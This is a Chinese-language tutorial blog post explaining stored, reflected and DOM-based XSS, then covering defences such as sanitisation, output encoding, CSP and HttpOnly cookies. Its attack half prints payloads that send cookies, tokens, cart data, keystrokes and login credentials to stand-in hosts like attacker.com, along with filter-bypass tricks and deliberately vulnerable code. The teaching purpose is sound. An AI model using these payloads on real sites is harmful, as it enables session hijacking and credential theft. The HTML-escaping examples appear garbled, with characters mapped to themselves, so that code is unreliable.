XSS (Cross-Site Scripting) 是一種網頁安全漏洞,允許攻擊者注入惡意腳本到網頁中,進而在其他使用者的瀏覽器上執行。
漏洞實現
Stored 儲存型 XSS
這邊舉個簡單的留言板當作舉例,通常都有網購看評價的經驗吧\owo/
<form action="/submit" method="post">
<input type="text" name="review" placeholder="幫商品留下評價吧!">
<input type="submit" value="送出">
</form>
@app.route('/submit', methods=['POST'])
def submit_message():
review = request.form['review']
# 儲存 review 到資料庫中,這邊 code 我就亂打,看得懂概念就行
review_db.append(review)
return redirect('/')
<!-- 顯示所有留言 -->
{% for rev in review %}
<p>{{ rev }}</p>
{% endfor %}
所以我今天如果滿肚子壞水的在評論區輸入下方程式碼的話,每個只要載入我留言的人就會被 Rickroll XD (location.href 代表者將網址重定位,JS 語法)
<script>location.href="https://www.youtube.com/watch?v=dQw4w9WgXcQ"</script>
當然這樣看起來還好,但如果今天我帶入的內容是像下面這串,我就可以把你的 cookie 透過 webhook 等方式傳來給我,我就可以來做壞壞的事情(登入、分析日常習慣等)
location.href="https://webhook.com?cookie="+document.cookie;
可以在 Cookie 中加上 HttpOnly 來去禁止非伺服器之外其他來源取用 Cookie,有興趣可以參考這裡
Reflected 反射型 XSS
你可以直接點點看這個網站,反射型 XSS 通常會直接將參數藏在網址參數中,再透過各種方式讓被害人無意間點進去。
假設我們有一個搜尋頁面:
// 易受攻擊的搜尋頁面
<?php
$search_term = $_GET['q'];
echo "<h2>搜尋結果:" . $search_term . "</h2>";
?>
攻擊者可以製造惡意連結:
https://example.com/search.php?q=<script>alert('XSS攻擊成功!')</script>
當使用者點擊這個連結時,腳本會立即執行。更危險的例子:
https://example.com/search.php?q=<script>
// 竊取使用者 token 並發送到攻擊者的伺服器
fetch('https://attacker.com/steal.php?token=' + localStorage.getItem('authToken'));
</script>
DOM-based XSS
DOM-based XSS 是透過修改頁面的 DOM 環境來執行攻擊,常見於前端 JavaScript 處理用戶輸入時:
<!-- 易受攻擊的前端代碼 -->
<script>
// 從 URL 取得參數並直接插入 DOM
const urlParams = new URLSearchParams(window.location.search);
const welcome = urlParams.get('name');
document.getElementById('welcome').innerHTML = '歡迎,' + welcome + '!';
</script>
<div id="welcome"></div>
攻擊者可以使用這樣的 URL:
https://example.com/welcome.html?name=<img src=x onerror=alert('DOM XSS')>
真實世界的 XSS 攻擊案例
案例 1:社群媒體平台
// 攻擊者在個人簡介中插入惡意腳本
<script>
// 自動發送垃圾訊息給所有朋友
fetch('/api/send-message', {
method: 'POST',
body: JSON.stringify({
message: '點擊這個連結獲得免費禮品!',
recipients: 'all_friends'
})
});
</script>
案例 2:電商網站評論區
<!-- 看似無害的評論,實際包含惡意腳本 -->
這個商品很棒!<img src="x" onerror="
// 竊取購物車資訊
const cart = JSON.parse(localStorage.getItem('cart'));
fetch('https://attacker.com/steal-cart.php', {
method: 'POST',
body: JSON.stringify(cart)
});
">
進階 XSS 攻擊技巧
繞過過濾器的技巧
很多網站會過濾 <script>
標籤,但攻擊者有很多繞過方法:
<!-- 使用事件處理器 -->
<img src=x onerror=alert('XSS')>
<body onload=alert('XSS')>
<input onfocus=alert('XSS') autofocus>
<!-- 使用 SVG -->
<svg onload=alert('XSS')>
<!-- 使用 iframe -->
<iframe src="javascript:alert('XSS')"></iframe>
<!-- 大小寫混合繞過 -->
<ScRiPt>alert('XSS')</ScRiPt>
<!-- 使用編碼 -->
<script>alert(String.fromCharCode(88,83,83))</script>
<!-- 使用 data URI -->
<iframe src="data:text/html,<script>alert('XSS')</script>"></iframe>
鍵盤記錄器
// 記錄使用者所有按鍵
document.addEventListener('keypress', function(e) {
fetch('https://attacker.com/log.php?key=' + e.key);
});
偽造登入表單
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:9999;">
<div style="position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);background:white;padding:20px;">
<h3>會話已過期,請重新登入</h3>
<form action="https://attacker.com/steal.php" method="post">
<input type="text" name="username" placeholder="帳號" required>
<input type="password" name="password" placeholder="密碼" required>
<input type="submit" value="登入">
</form>
</div>
</div>
如何防制
防制 XSS 最好的方法,就是 “Never Trust User Input(永遠不相信用戶輸入)",這邊的輸入不只包含表單輸入,還有網址帶的參數等等
1. 輸入輸出驗證
透過 Regex 等公式檢視該輸入是否合法:
import re
def validate_input(user_input):
# 只允許字母、數字、空格和基本標點符號
pattern = r'^[a-zA-Z0-9\s\.,!?-]*$'
if re.match(pattern, user_input):
return True
return False
# 使用範例
user_comment = request.form['comment']
if not validate_input(user_comment):
return "無效的輸入!", 400
// 前端驗證範例
function validateInput(input) {
const dangerousChars = /<|>|script|javascript|on\w+=/i;
return !dangerousChars.test(input);
}
2. HTML Sanitization(淨化)
透過套件分析,來去除可能造成 XSS 等程式碼,並且保留原本文字輸出:
Python 範例 (使用 bleach)
import bleach
# 定義允許的標籤和屬性
allowed_tags = ['p', 'br', 'strong', 'em', 'ul', 'ol', 'li']
allowed_attributes = {}
def sanitize_html(dirty_html):
clean_html = bleach.clean(dirty_html,
tags=allowed_tags,
attributes=allowed_attributes,
strip=True)
return clean_html
# 使用範例
user_input = "<script>alert('XSS')</script><p>正常的內容</p>"
safe_output = sanitize_html(user_input) # 輸出: "<p>正常的內容</p>"
JavaScript 範例 (使用 DOMPurify)
// 安裝: npm install dompurify
import DOMPurify from 'dompurify';
function sanitizeHTML(dirty) {
return DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em'],
ALLOWED_ATTR: []
});
}
3. 輸出編碼(Output Encoding)
根據輸出的上下文選擇適當的編碼方式:
import html
# HTML 內容編碼
def html_encode(text):
return html.escape(text)
# 使用範例
user_input = "<script>alert('XSS')</script>"
safe_output = html_encode(user_input) # 輸出: "<script>alert('XSS')</script>"
// JavaScript 中的編碼
function htmlEncode(str) {
return str.replace(/[&<>"']/g, function(match) {
const escapeMap = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
};
return escapeMap[match];
});
}
4. 設定 CSP Header
Content Security Policy 可以有效限制外部腳本運行:
# 基本 CSP 設定
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline';
# 更嚴格的設定
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data: https:;
在不同框架中設定 CSP
Flask 範例
from flask import Flask, Response
app = Flask(__name__)
@app.after_request
def set_csp(response):
response.headers['Content-Security-Policy'] = "default-src 'self'; script-src 'self'"
return response
Express.js 範例
const helmet = require('helmet');
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"]
}
}));
5. 使用安全的模板引擎
現代模板引擎通常有內建的 XSS 防護:
Django 範例
<!-- Django 模板預設會自動轉義 -->
<p>{{ user_comment }}</p> <!-- 安全 -->
<p>{{ user_comment|safe }}</p> <!-- 危險!只在確定安全時使用 -->
Jinja2 範例
<!-- Jinja2 也會自動轉義 -->
<p>{{ user_comment }}</p> <!-- 安全 -->
<p>{{ user_comment|safe }}</p> <!-- 危險! -->
6. Cookie 安全設定
防止透過 XSS 竊取 Cookie:
# Flask 範例
from flask import Flask, session
app = Flask(__name__)
app.config.update(
SESSION_COOKIE_HTTPONLY=True, # 防止 JavaScript 存取
SESSION_COOKIE_SECURE=True, # 只在 HTTPS 傳輸
SESSION_COOKIE_SAMESITE='Strict' # 防止 CSRF
)
// Express.js 範例
app.use(session({
cookie: {
httpOnly: true,
secure: true,
sameSite: 'strict'
}
}));
7. 實際的防護檢查清單
開發階段
- 所有用戶輸入都經過驗證
- 使用參數化查詢(防止 SQL 注入)
- 輸出時進行適當編碼
- 設定 CSP header
- Cookie 設定 HttpOnly 和 Secure
- 使用最新版本的框架和套件
測試階段
# 使用 OWASP ZAP 進行自動化測試
docker run -t owasp/zap2docker-stable zap-baseline.py -t http://your-website.com
# 手動測試常見 payload
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
javascript:alert('XSS')
部署階段
- Web 伺服器設定安全 headers
- 啟用 HTTPS
- 定期更新依賴套件
- 監控異常活動
8. 現代防護工具推薦
靜態分析工具
# ESLint 安全規則
npm install eslint-plugin-security
# Python bandit
pip install bandit
bandit -r your_project/
執行時防護
// 使用 Trusted Types API (現代瀏覽器)
if (window.trustedTypes && trustedTypes.createPolicy) {
const policy = trustedTypes.createPolicy('myPolicy', {
createHTML: (input) => {
// 在這裡實作你的淨化邏輯
return DOMPurify.sanitize(input);
}
});
element.innerHTML = policy.createHTML(userInput);
}